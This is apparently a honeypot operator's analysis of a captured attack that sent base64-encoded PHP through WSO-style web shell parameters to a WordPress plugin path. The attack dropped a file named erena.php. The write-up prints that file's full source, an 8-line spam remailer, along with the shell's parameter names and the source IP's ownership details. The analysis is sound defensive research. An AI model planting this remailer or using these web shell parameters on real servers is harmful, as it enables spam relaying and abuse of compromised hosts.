Straightforward remailing PHP file.
This remailing tool is identical to that downloaded (many times) in a distributed spam tool installation campaign. This attack and tha distributed campaign differ widely, however. The target web shells differ. This attack uses a dropper, while the distributed campaign downloads directly.
The attacker(s) seem to have sent PHP code in a form that two different web shells could act on.
They sent it to a URL ending in /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
which my honey pot deemed to be an attempt to use an existing web shell.
The HTTP parameter names and values are a little interesting:
| Name | Value |
|---|---|
| pass | t4c3PFr5 |
| charset | Windows-1251 |
| a | Php |
| p1 | $nailuwqxz = base64_decode("JGZp... |
| f_pp | t4c3PFr5 |
| ev | $nailuwqxz = base64_decode("JGZp... |
| sc |
The "pass", "charset", "a" and "p1" HTTP parameter names are all typical for WSO web shells, as is the "Php" value of the "a" parameter.
The "f_pp", "ev" and "sc" parameters are not typical for WSO web shells. My honey pot has caught attempts to install the mumblehard botnet code that use "ev" and "sc" parameter names, but the "f_pp" name, which presumably holds the value of the unknown web shell's password, is new. "ev" for immediate eval of code makes sense. It apparently corresponds to the WSO use of "p1" to deliver code for immediate evaluation.
Looks like these attackers are OK using two different web shells for their downloads. One minor critique - they may have been better off with an "a" value of "RC", one of WSO's two methods of evaluating PHP code sent to it. The "Php" value is more for interactive use, while "RC" seems designed for programmatic use.
190.16.150.244 has DNS name 244-150-16-190.fibertel.com.ar, and vice versa.
190.16.150.244 belongs to Telecom Argentina:
inetnum: 190.16/16
status: allocated
owner: Telecom Argentina S.A.
address: Dorrego, 2520, Piso 11
address: 1425 - Buenos Aires -
country: AR
phone: +54 11 49684975 []
nslastaa: 20190902
created: 20060810
changed: 20180529
That's good, because geoiplookup puts the physical location in Buenos Aires:
GeoIP Country Edition: AR, Argentina
GeoIP City Edition, Rev 1: AR, 01, Buenos Aires, Martinez, 1640, -34.483299, -58.516701, 0, 0
GeoIP ASNum Edition: AS10481 Prima S.A.
The immediate eval code is just a base64-decode, followed by an eval.
The eval'ed code is an unobfuscated dropper.
The dropper code base64-decodes an embedded string,
then tries to write the decoded string into a file
named erena.php in the DocumentRoot directory.
If the dropper succeeds, it writes out a string:
598##**##http://stratigery.com/erena.php###***###
The "598" is a random number generated by the dropper. The format is clearly machine readable, or at least easy to process automatically.
It would give back the URL of the remailer code dropped on the compromised host. I presume the random number is to keep the attacker(s) software from caching the response, or to allow them to detect when a honey pot responds.
The dropper code is utterly mediocre. It consists of very little except poorly-formatted code snippets that might have been cut-n-pasted into place. The only remarkable thing about it is it contains "hesitation marks", commented-out lines of code that reveal a little of the development process the attacker(s) went through.
There are two, commented-out instances of:
//chmod($path, 0644);
One of them occurs before the file named by the value of $path would exist.
This is a bug fix.
Two, commented-out instances of:
//file_put_contents($file_name , base64_decode($file_body));
appear. Both were ultimately replaced by the wordier block of code:
$fp = fopen($path , 'w');
fwrite($fp, base64_decode($file_body));
fclose($fp);
That block of code is functionally equivalent to the 2, commented-out file_put_contents() calls.
I'm uncertain as to why you'd choose 3 error-prone lines of code instead of 1 clean line,
but, oh, well.
The random number output has a 2nd variant instance as well. Since I'm not certain why the dropper outputs a random number, I hesitate to speculate on why the 2nd instance is commented out.
erena.php, the remailer put in place by the dropper, consists of only 8 lines of code:
<?php
$jewrqwbnlk = base64_decode($_POST['ylxqjqbcn']);
$xaouf = base64_decode($_POST['nrsf']);
$jwgpxlzblkepa = base64_decode($_POST['tdluhqtnmzr']);
$fcublsqtpae = base64_decode($_POST['qqifquaqdzvp']);
$jfnbrsjfq = mail($jewrqwbnlk, $xaouf, $jwgpxlzblkepa , $fcublsqtpae);
if($jfnbrsjfq){echo 'vwkxlpc';} else {echo 'yfbhn : ' . $jfnbrsjfq;}
| Parameter name | Parameter meaning |
|---|---|
| ylxqjqbcn | To: address |
| nrsf | Subject: text |
| tdluhqtnmzr | Message body |
| qqifquaqdzvp | Additional SMTP headers |
Seems simple enough: send a POST HTTP request with an address, a subject, a message body,
and any additional headers you want, and erena.php remails it.
You could send this with a simple HTML form,
or a more complicated wget or curl invocation.
I saw no subsequent invocations of erena.php,
probably because my honey pot didn't produce the machine-readable output that a real
dropper-code-eval would give back.